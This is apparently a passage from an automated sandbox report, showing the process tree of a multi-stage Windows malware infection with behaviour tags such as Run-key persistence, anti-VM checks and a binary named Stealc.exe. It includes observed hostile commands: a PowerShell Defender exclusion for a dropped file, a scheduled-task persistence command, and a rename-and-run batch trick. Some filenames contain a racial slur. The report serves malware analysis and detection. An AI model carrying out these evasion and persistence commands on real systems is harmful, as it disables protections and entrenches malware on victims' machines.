C:\Windows\System32\jldrkOF.exeC:\Windows\System32\jldrkOF.exe3⤵
-
-
C:\Windows\System32\pWrgriF.exeC:\Windows\System32\pWrgriF.exe3⤵
-
-
C:\Windows\System32\kuqKdCe.exeC:\Windows\System32\kuqKdCe.exe3⤵
-
-
C:\Windows\System32\zmWQJGW.exeC:\Windows\System32\zmWQJGW.exe3⤵
-
-
C:\Windows\System32\amkbtjV.exeC:\Windows\System32\amkbtjV.exe3⤵
-
-
C:\Windows\System32\SVsAQzg.exeC:\Windows\System32\SVsAQzg.exe3⤵
-
-
C:\Windows\System32\hIdQhby.exeC:\Windows\System32\hIdQhby.exe3⤵
-
-
C:\Windows\System32\HywFNnG.exeC:\Windows\System32\HywFNnG.exe3⤵
-
-
C:\Windows\System32\CzLkhVb.exeC:\Windows\System32\CzLkhVb.exe3⤵
-
-
C:\Windows\System32\ULhFRUQ.exeC:\Windows\System32\ULhFRUQ.exe3⤵
-
-
C:\Windows\System32\VKxZEcX.exeC:\Windows\System32\VKxZEcX.exe3⤵
-
-
C:\Windows\System32\iRMDIdp.exeC:\Windows\System32\iRMDIdp.exe3⤵
-
-
C:\Windows\System32\JGlmvrz.exeC:\Windows\System32\JGlmvrz.exe3⤵
-
-
C:\Windows\System32\ZynknQh.exeC:\Windows\System32\ZynknQh.exe3⤵
-
-
C:\Windows\System32\WLFFrPy.exeC:\Windows\System32\WLFFrPy.exe3⤵
-
-
C:\Windows\System32\VKEtAWT.exeC:\Windows\System32\VKEtAWT.exe3⤵
-
-
C:\Windows\System32\vUNXprX.exeC:\Windows\System32\vUNXprX.exe3⤵
-
-
C:\Windows\System32\zMdPYZJ.exeC:\Windows\System32\zMdPYZJ.exe3⤵
-
-
C:\Windows\System32\KOQhLUM.exeC:\Windows\System32\KOQhLUM.exe3⤵
-
-
C:\Windows\System32\wJegXeO.exeC:\Windows\System32\wJegXeO.exe3⤵
-
-
C:\Windows\System32\cTIaYHC.exeC:\Windows\System32\cTIaYHC.exe3⤵
-
-
C:\Windows\System32\JHTEaEs.exeC:\Windows\System32\JHTEaEs.exe3⤵
-
-
C:\Windows\System32\pdfkfBq.exeC:\Windows\System32\pdfkfBq.exe3⤵
-
-
C:\Windows\System32\fdoGkit.exeC:\Windows\System32\fdoGkit.exe3⤵
-
-
C:\Windows\System32\HqyRTBR.exeC:\Windows\System32\HqyRTBR.exe3⤵
-
-
C:\Windows\System32\EWEFjTY.exeC:\Windows\System32\EWEFjTY.exe3⤵
-
-
C:\Windows\System32\IgdHLTV.exeC:\Windows\System32\IgdHLTV.exe3⤵
-
-
C:\Windows\System32\bHDCcle.exeC:\Windows\System32\bHDCcle.exe3⤵
-
-
C:\Windows\System32\CiIXGLv.exeC:\Windows\System32\CiIXGLv.exe3⤵
-
-
C:\Windows\System32\jjAfgsf.exeC:\Windows\System32\jjAfgsf.exe3⤵
-
-
C:\Windows\System32\ADIuryd.exeC:\Windows\System32\ADIuryd.exe3⤵
-
-
C:\Windows\System32\qyMFPtW.exeC:\Windows\System32\qyMFPtW.exe3⤵
-
-
C:\Windows\System32\dzrXrkP.exeC:\Windows\System32\dzrXrkP.exe3⤵
-
-
C:\Windows\System32\EhdmMQo.exeC:\Windows\System32\EhdmMQo.exe3⤵
-
-
C:\Windows\System32\CJxthip.exeC:\Windows\System32\CJxthip.exe3⤵
-
-
C:\Windows\System32\xJdGSfH.exeC:\Windows\System32\xJdGSfH.exe3⤵
-
-
C:\Windows\System32\YoQmSPb.exeC:\Windows\System32\YoQmSPb.exe3⤵
-
-
C:\Windows\System32\rjqaOVe.exeC:\Windows\System32\rjqaOVe.exe3⤵
-
-
C:\Windows\System32\kdtgIMN.exeC:\Windows\System32\kdtgIMN.exe3⤵
-
-
C:\Windows\System32\qcAfOvX.exeC:\Windows\System32\qcAfOvX.exe3⤵
-
-
C:\Windows\System32\IXISgQl.exeC:\Windows\System32\IXISgQl.exe3⤵
-
-
C:\Windows\System32\ZckzShK.exeC:\Windows\System32\ZckzShK.exe3⤵
-
-
C:\Windows\System32\ycRXXLA.exeC:\Windows\System32\ycRXXLA.exe3⤵
-
-
C:\Windows\System32\aHFIOmq.exeC:\Windows\System32\aHFIOmq.exe3⤵
-
-
C:\Windows\System32\JmGUHXo.exeC:\Windows\System32\JmGUHXo.exe3⤵
-
-
C:\Windows\System32\PYdpKGg.exeC:\Windows\System32\PYdpKGg.exe3⤵
-
-
C:\Windows\System32\nDGqPdg.exeC:\Windows\System32\nDGqPdg.exe3⤵
-
-
C:\Windows\System32\QBrnpBA.exeC:\Windows\System32\QBrnpBA.exe3⤵
-
-
C:\Windows\System32\wXVqsZy.exeC:\Windows\System32\wXVqsZy.exe3⤵
-
-
C:\Windows\System32\ZKlTYpb.exeC:\Windows\System32\ZKlTYpb.exe3⤵
-
-
C:\Windows\System32\oRulXjg.exeC:\Windows\System32\oRulXjg.exe3⤵
-
-
C:\Windows\System32\YyZfPks.exeC:\Windows\System32\YyZfPks.exe3⤵
-
-
C:\Windows\System32\nfbSOoA.exeC:\Windows\System32\nfbSOoA.exe3⤵
-
-
C:\Windows\System32\ojbbbTS.exeC:\Windows\System32\ojbbbTS.exe3⤵
-
-
C:\Windows\System32\QKgMytT.exeC:\Windows\System32\QKgMytT.exe3⤵
-
-
C:\Windows\System32\NSzxobr.exeC:\Windows\System32\NSzxobr.exe3⤵
-
-
C:\Windows\System32\gaVrafU.exeC:\Windows\System32\gaVrafU.exe3⤵
-
-
C:\Windows\System32\vbnGDno.exeC:\Windows\System32\vbnGDno.exe3⤵
-
-
C:\Windows\System32\DrACoeq.exeC:\Windows\System32\DrACoeq.exe3⤵
-
-
C:\Windows\System32\cTykmWj.exeC:\Windows\System32\cTykmWj.exe3⤵
-
-
C:\Windows\System32\wkweYwO.exeC:\Windows\System32\wkweYwO.exe3⤵
-
-
C:\Windows\System32\lxlRkFA.exeC:\Windows\System32\lxlRkFA.exe3⤵
-
-
C:\Windows\System32\JpdCSCB.exeC:\Windows\System32\JpdCSCB.exe3⤵
-
-
C:\Windows\System32\MneKzCA.exeC:\Windows\System32\MneKzCA.exe3⤵
-
-
C:\Windows\System32\lWZcZKS.exeC:\Windows\System32\lWZcZKS.exe3⤵
-
-
C:\Windows\System32\gtVamAo.exeC:\Windows\System32\gtVamAo.exe3⤵
-
-
C:\Windows\System32\hJDYKmw.exeC:\Windows\System32\hJDYKmw.exe3⤵
-
-
C:\Windows\System32\wNBiySA.exeC:\Windows\System32\wNBiySA.exe3⤵
-
-
C:\Windows\System32\Egsjnkt.exeC:\Windows\System32\Egsjnkt.exe3⤵
-
-
C:\Windows\System32\DuCSgmT.exeC:\Windows\System32\DuCSgmT.exe3⤵
-
-
C:\Windows\System32\jSjsPZq.exeC:\Windows\System32\jSjsPZq.exe3⤵
-
-
C:\Windows\System32\XWjEeca.exeC:\Windows\System32\XWjEeca.exe3⤵
-
-
C:\Windows\System32\XRFYlQz.exeC:\Windows\System32\XRFYlQz.exe3⤵
-
-
C:\Windows\System32\WbaeIPU.exeC:\Windows\System32\WbaeIPU.exe3⤵
-
-
C:\Windows\System32\EFeaMfk.exeC:\Windows\System32\EFeaMfk.exe3⤵
-
-
C:\Windows\System32\lpgguxm.exeC:\Windows\System32\lpgguxm.exe3⤵
-
-
C:\Windows\System32\TMpbmPd.exeC:\Windows\System32\TMpbmPd.exe3⤵
-
-
C:\Windows\System32\MWdgRSi.exeC:\Windows\System32\MWdgRSi.exe3⤵
-
-
C:\Windows\System32\IwMUWXk.exeC:\Windows\System32\IwMUWXk.exe3⤵
-
-
C:\Windows\System32\qoKFCHk.exeC:\Windows\System32\qoKFCHk.exe3⤵
-
-
C:\Windows\System32\dTpPbiU.exeC:\Windows\System32\dTpPbiU.exe3⤵
-
-
C:\Windows\System32\ytHzIBo.exeC:\Windows\System32\ytHzIBo.exe3⤵
-
-
C:\Windows\System32\VMmLPUU.exeC:\Windows\System32\VMmLPUU.exe3⤵
-
-
C:\Windows\System32\XlTOTxa.exeC:\Windows\System32\XlTOTxa.exe3⤵
-
-
C:\Windows\System32\FnnuCsF.exeC:\Windows\System32\FnnuCsF.exe3⤵
-
-
C:\Windows\System32\EsbHKCB.exeC:\Windows\System32\EsbHKCB.exe3⤵
-
-
C:\Windows\System32\zShYlnV.exeC:\Windows\System32\zShYlnV.exe3⤵
-
-
C:\Windows\System32\zxygdVR.exeC:\Windows\System32\zxygdVR.exe3⤵
-
-
C:\Windows\System32\DAPowPF.exeC:\Windows\System32\DAPowPF.exe3⤵
-
-
C:\Windows\System32\ycDOerj.exeC:\Windows\System32\ycDOerj.exe3⤵
-
-
C:\Windows\System32\CSdVLgI.exeC:\Windows\System32\CSdVLgI.exe3⤵
-
-
C:\Windows\System32\tpRLmxS.exeC:\Windows\System32\tpRLmxS.exe3⤵
-
-
C:\Windows\System32\fxVMAzf.exeC:\Windows\System32\fxVMAzf.exe3⤵
-
-
C:\Windows\System32\fNDzJyN.exeC:\Windows\System32\fNDzJyN.exe3⤵
-
-
C:\Windows\System32\rjiLWYz.exeC:\Windows\System32\rjiLWYz.exe3⤵
-
-
C:\Windows\System32\cVBwSXv.exeC:\Windows\System32\cVBwSXv.exe3⤵
-
-
C:\Windows\System32\awhVpcL.exeC:\Windows\System32\awhVpcL.exe3⤵
-
-
C:\Windows\System32\VUsoWTZ.exeC:\Windows\System32\VUsoWTZ.exe3⤵
-
-
C:\Windows\System32\cTiWpOg.exeC:\Windows\System32\cTiWpOg.exe3⤵
-
-
C:\Windows\System32\hYqtTgz.exeC:\Windows\System32\hYqtTgz.exe3⤵
-
-
C:\Windows\System32\XoEhSSX.exeC:\Windows\System32\XoEhSSX.exe3⤵
-
-
C:\Windows\System32\bVOcvGk.exeC:\Windows\System32\bVOcvGk.exe3⤵
-
-
C:\Windows\System32\LxXqcVi.exeC:\Windows\System32\LxXqcVi.exe3⤵
-
-
C:\Windows\System32\YTzJerg.exeC:\Windows\System32\YTzJerg.exe3⤵
-
-
C:\Windows\System32\TMVCXbu.exeC:\Windows\System32\TMVCXbu.exe3⤵
-
-
C:\Windows\System32\AOImDSG.exeC:\Windows\System32\AOImDSG.exe3⤵
-
-
C:\Windows\System32\VssBQMM.exeC:\Windows\System32\VssBQMM.exe3⤵
-
-
C:\Windows\System32\KJorCUn.exeC:\Windows\System32\KJorCUn.exe3⤵
-
-
C:\Windows\System32\VwTyBkc.exeC:\Windows\System32\VwTyBkc.exe3⤵
-
-
C:\Windows\System32\XresLHi.exeC:\Windows\System32\XresLHi.exe3⤵
-
-
C:\Windows\System32\lbeaVFE.exeC:\Windows\System32\lbeaVFE.exe3⤵
-
-
C:\Windows\System32\cLfITgU.exeC:\Windows\System32\cLfITgU.exe3⤵
-
-
C:\Windows\System32\aOEnrRf.exeC:\Windows\System32\aOEnrRf.exe3⤵
-
-
C:\Windows\System32\brPmMlg.exeC:\Windows\System32\brPmMlg.exe3⤵
-
-
C:\Windows\System32\IpgzeQu.exeC:\Windows\System32\IpgzeQu.exe3⤵
-
-
C:\Windows\System32\CyTJrnv.exeC:\Windows\System32\CyTJrnv.exe3⤵
-
-
C:\Windows\System32\mQBMasf.exeC:\Windows\System32\mQBMasf.exe3⤵
-
-
C:\Windows\System32\vYtQLWn.exeC:\Windows\System32\vYtQLWn.exe3⤵
-
-
C:\Windows\System32\OcdGaun.exeC:\Windows\System32\OcdGaun.exe3⤵
-
-
C:\Windows\System32\bIhaYmQ.exeC:\Windows\System32\bIhaYmQ.exe3⤵
-
-
C:\Windows\System32\GOKeBhd.exeC:\Windows\System32\GOKeBhd.exe3⤵
-
-
C:\Windows\System32\iutNcpI.exeC:\Windows\System32\iutNcpI.exe3⤵
-
-
C:\Windows\System32\tGlWtVR.exeC:\Windows\System32\tGlWtVR.exe3⤵
-
-
C:\Windows\System32\vLkffJY.exeC:\Windows\System32\vLkffJY.exe3⤵
-
-
C:\Windows\System32\PynvKsc.exeC:\Windows\System32\PynvKsc.exe3⤵
-
-
C:\Windows\System32\HmEdLLr.exeC:\Windows\System32\HmEdLLr.exe3⤵
-
-
C:\Windows\System32\nhpPZIq.exeC:\Windows\System32\nhpPZIq.exe3⤵
-
-
C:\Windows\System32\WipyokY.exeC:\Windows\System32\WipyokY.exe3⤵
-
-
C:\Windows\System32\ZwqWjoi.exeC:\Windows\System32\ZwqWjoi.exe3⤵
-
-
C:\Windows\System32\QqlkRIH.exeC:\Windows\System32\QqlkRIH.exe3⤵
-
-
C:\Windows\System32\dqJclxN.exeC:\Windows\System32\dqJclxN.exe3⤵
-
-
C:\Windows\System32\bMnxHTH.exeC:\Windows\System32\bMnxHTH.exe3⤵
-
-
C:\Windows\System32\rSrDCax.exeC:\Windows\System32\rSrDCax.exe3⤵
-
-
C:\Windows\System32\HJpqyVR.exeC:\Windows\System32\HJpqyVR.exe3⤵
-
-
C:\Windows\System32\SARcMsj.exeC:\Windows\System32\SARcMsj.exe3⤵
-
-
C:\Windows\System32\TmmppzV.exeC:\Windows\System32\TmmppzV.exe3⤵
-
-
C:\Windows\System32\PoiffWy.exeC:\Windows\System32\PoiffWy.exe3⤵
-
-
C:\Windows\System32\KrlPiTF.exeC:\Windows\System32\KrlPiTF.exe3⤵
-
-
C:\Windows\System32\DVAlOBT.exeC:\Windows\System32\DVAlOBT.exe3⤵
-
-
C:\Windows\System32\tVqNMTr.exeC:\Windows\System32\tVqNMTr.exe3⤵
-
-
C:\Windows\System32\DpYQUBu.exeC:\Windows\System32\DpYQUBu.exe3⤵
-
-
C:\Windows\System32\CvueMHB.exeC:\Windows\System32\CvueMHB.exe3⤵
-
-
C:\Windows\System32\AQqUBsg.exeC:\Windows\System32\AQqUBsg.exe3⤵
-
-
C:\Windows\System32\eeDDNEn.exeC:\Windows\System32\eeDDNEn.exe3⤵
-
-
C:\Windows\System32\XSiuvUx.exeC:\Windows\System32\XSiuvUx.exe3⤵
-
-
C:\Windows\System32\vmTSrWf.exeC:\Windows\System32\vmTSrWf.exe3⤵
-
-
C:\Windows\System32\LihcUku.exeC:\Windows\System32\LihcUku.exe3⤵
-
-
C:\Windows\System32\xUCEjib.exeC:\Windows\System32\xUCEjib.exe3⤵
-
-
C:\Windows\System32\UiFaILI.exeC:\Windows\System32\UiFaILI.exe3⤵
-
-
C:\Windows\System32\IawdnOl.exeC:\Windows\System32\IawdnOl.exe3⤵
-
-
C:\Windows\System32\OpVtXbR.exeC:\Windows\System32\OpVtXbR.exe3⤵
-
-
C:\Windows\System32\HVZPwXb.exeC:\Windows\System32\HVZPwXb.exe3⤵
-
-
C:\Windows\System32\czYRWsI.exeC:\Windows\System32\czYRWsI.exe3⤵
-
-
C:\Windows\System32\RZJPYjz.exeC:\Windows\System32\RZJPYjz.exe3⤵
-
-
C:\Windows\System32\otRpgAq.exeC:\Windows\System32\otRpgAq.exe3⤵
-
-
C:\Windows\System32\QXeUMXe.exeC:\Windows\System32\QXeUMXe.exe3⤵
-
-
C:\Windows\System32\pzhsxUW.exeC:\Windows\System32\pzhsxUW.exe3⤵
-
-
C:\Windows\System32\LwmSngy.exeC:\Windows\System32\LwmSngy.exe3⤵
-
-
C:\Windows\System32\QqgMWyD.exeC:\Windows\System32\QqgMWyD.exe3⤵
-
-
C:\Windows\System32\BRHNbrT.exeC:\Windows\System32\BRHNbrT.exe3⤵
-
-
C:\Windows\System32\rbcFQMa.exeC:\Windows\System32\rbcFQMa.exe3⤵
-
-
C:\Windows\System32\RReHBvS.exeC:\Windows\System32\RReHBvS.exe3⤵
-
-
C:\Windows\System32\ueoZDYW.exeC:\Windows\System32\ueoZDYW.exe3⤵
-
-
C:\Windows\System32\XvlcUhI.exeC:\Windows\System32\XvlcUhI.exe3⤵
-
-
C:\Windows\System32\QmyjuDD.exeC:\Windows\System32\QmyjuDD.exe3⤵
-
-
C:\Windows\System32\YAPhVXt.exeC:\Windows\System32\YAPhVXt.exe3⤵
-
-
C:\Windows\System32\EgwlMCf.exeC:\Windows\System32\EgwlMCf.exe3⤵
-
-
C:\Windows\System32\JubJLyt.exeC:\Windows\System32\JubJLyt.exe3⤵
-
-
C:\Windows\System32\hpEwoxT.exeC:\Windows\System32\hpEwoxT.exe3⤵
-
-
C:\Windows\System32\pazizpD.exeC:\Windows\System32\pazizpD.exe3⤵
-
-
C:\Windows\System32\jthNLkj.exeC:\Windows\System32\jthNLkj.exe3⤵
-
-
C:\Windows\System32\OGBiCYx.exeC:\Windows\System32\OGBiCYx.exe3⤵
-
-
C:\Windows\System32\sJXXcGo.exeC:\Windows\System32\sJXXcGo.exe3⤵
-
-
C:\Windows\System32\TbJNlEC.exeC:\Windows\System32\TbJNlEC.exe3⤵
-
-
C:\Windows\System32\XvJDcbq.exeC:\Windows\System32\XvJDcbq.exe3⤵
-
-
C:\Windows\System32\IyvfkmD.exeC:\Windows\System32\IyvfkmD.exe3⤵
-
-
C:\Windows\System32\jSfDHZe.exeC:\Windows\System32\jSfDHZe.exe3⤵
-
-
C:\Windows\System32\TnhCjKq.exeC:\Windows\System32\TnhCjKq.exe3⤵
-
-
C:\Windows\System32\cyTyaHS.exeC:\Windows\System32\cyTyaHS.exe3⤵
-
-
C:\Windows\System32\bVzjXcO.exeC:\Windows\System32\bVzjXcO.exe3⤵
-
-
C:\Windows\System32\mlufGFa.exeC:\Windows\System32\mlufGFa.exe3⤵
-
-
C:\Windows\System32\OWImlMC.exeC:\Windows\System32\OWImlMC.exe3⤵
-
-
C:\Windows\System32\SJIohcb.exeC:\Windows\System32\SJIohcb.exe3⤵
-
-
C:\Windows\System32\gMEISEb.exeC:\Windows\System32\gMEISEb.exe3⤵
-
-
C:\Windows\System32\Ekoqmxp.exeC:\Windows\System32\Ekoqmxp.exe3⤵
-
-
C:\Windows\System32\udrEsYk.exeC:\Windows\System32\udrEsYk.exe3⤵
-
-
C:\Windows\System32\OaEzXun.exeC:\Windows\System32\OaEzXun.exe3⤵
-
-
C:\Windows\System32\PSoWeGB.exeC:\Windows\System32\PSoWeGB.exe3⤵
-
-
C:\Windows\System32\gEMnjxu.exeC:\Windows\System32\gEMnjxu.exe3⤵
-
-
C:\Windows\System32\RILCYQV.exeC:\Windows\System32\RILCYQV.exe3⤵
-
-
C:\Windows\System32\OojoILA.exeC:\Windows\System32\OojoILA.exe3⤵
-
-
C:\Windows\System32\HCyhdnM.exeC:\Windows\System32\HCyhdnM.exe3⤵
-
-
C:\Windows\System32\CTPjTZM.exeC:\Windows\System32\CTPjTZM.exe3⤵
-
-
C:\Windows\System32\LvczPMT.exeC:\Windows\System32\LvczPMT.exe3⤵
-
-
C:\Windows\System32\xXfymbh.exeC:\Windows\System32\xXfymbh.exe3⤵
-
-
C:\Windows\System32\wBvobBq.exeC:\Windows\System32\wBvobBq.exe3⤵
-
-
C:\Windows\System32\xOsLvdx.exeC:\Windows\System32\xOsLvdx.exe3⤵
-
-
C:\Windows\System32\jsEshbd.exeC:\Windows\System32\jsEshbd.exe3⤵
-
-
C:\Windows\System32\DlBMSUV.exeC:\Windows\System32\DlBMSUV.exe3⤵
-
-
C:\Windows\System32\isGQdyz.exeC:\Windows\System32\isGQdyz.exe3⤵
-
-
C:\Windows\System32\QUpUbAk.exeC:\Windows\System32\QUpUbAk.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\funny78.exe"C:\Users\Admin\AppData\Local\Temp\funny78.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\funny78Srv.exeC:\Users\Admin\AppData\Local\Temp\funny78Srv.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3120 -s 3204⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 572 -s 3243⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\G4gtDRI.exe"C:\Users\Admin\AppData\Local\Temp\G4gtDRI.exe"2⤵
- Executes dropped EXE
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\iZ8POZ6.exe"C:\Users\Admin\AppData\Local\Temp\iZ8POZ6.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\j9a8isjfoksdlmgwer.exe"C:\Users\Admin\AppData\Local\Temp\j9a8isjfoksdlmgwer.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\k1t.exe"C:\Users\Admin\AppData\Local\Temp\k1t.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\kaQ7Taz.exe"C:\Users\Admin\AppData\Local\Temp\kaQ7Taz.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Launcher_x64.exe"C:\Users\Admin\AppData\Local\Temp\Launcher_x64.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\LB3.exe"C:\Users\Admin\AppData\Local\Temp\LB3.exe"2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122883⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a\CPP.exe"C:\Users\Admin\AppData\Local\Temp\a\CPP.exe"3⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\QjVVtBecGQ.exe"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming\QjVVtBecGQ.exe5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\QjVVtBecGQ" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC37A.tmp"4⤵
-
C:\Windows\SysWOW64\schtasks.exeC:\Windows\System32\schtasks.exe /Create /TN Updates\QjVVtBecGQ /XML C:\Users\Admin\AppData\Local\Temp\tmpC37A.tmp5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\G38FpQr.exe"C:\Users\Admin\AppData\Local\Temp\a\G38FpQr.exe"3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"4⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exeC:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe6⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"4⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exeC:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe6⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\nJ66RiN.exe"C:\Users\Admin\AppData\Local\Temp\a\nJ66RiN.exe"3⤵
-
C:\Windows\SYSTEM32\sc.exesc.exe4⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\cmd.execmd /c move Kai.dot Kai.dot.bat && Kai.dot.bat4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\020820~1.EXE"3⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\Acrobat.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Acrobat.exeC:\Users\Admin\AppData\Local\Temp\a\Acrobat.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Yt8ge85.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Yt8ge85.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\GY4IC43.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\GY4IC43.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\hE8Zq97.exeC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\hE8Zq97.exe7⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1Zn59od7.exeC:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1Zn59od7.exe8⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"9⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1356 -s 5769⤵
- Program crash
-
-
-
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\RAMD64~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\RAMD64~1.EXEC:\Users\Admin\AppData\Local\Temp\a\RAMD64~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\Server.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Server.exeC:\Users\Admin\AppData\Local\Temp\a\Server.exe4⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Program Files (x86)\Common Files\System\ado\msado15.dll.tmp"4⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Program Files (x86)\Common Files\System\ado\msado15.dll.tmp"4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\XLANYL~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\XLANYL~1.EXEC:\Users\Admin\AppData\Local\Temp\a\XLANYL~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\GL0ygTD.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\GL0ygTD.exeC:\Users\Admin\AppData\Local\Temp\a\GL0ygTD.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-FRD1Q.tmp\GL0ygTD.tmp"C:\Users\Admin\AppData\Local\Temp\is-FRD1Q.tmp\GL0ygTD.tmp" /SL5="$406B4,3769416,56832,C:\Users\Admin\AppData\Local\Temp\a\GL0ygTD.exe"5⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\DROPPE~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\DROPPE~1.EXEC:\Users\Admin\AppData\Local\Temp\a\DROPPE~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\Stealc.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Stealc.exeC:\Users\Admin\AppData\Local\Temp\a\Stealc.exe4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\niggaaaaa.exe"C:\Users\Admin\AppData\Local\Temp\niggaaaaa.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\nigganet.exe"C:\Users\Admin\AppData\Local\Temp\nigganet.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\oi.exe"C:\Users\Admin\AppData\Local\Temp\oi.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\oi.exeC:\Users\Admin\AppData\Local\Temp\oi.exe3⤵
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe4⤵
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe5⤵
-
C:\Windows\SysWOW64\omsecor.exeC:\Windows\System32\omsecor.exe6⤵
-
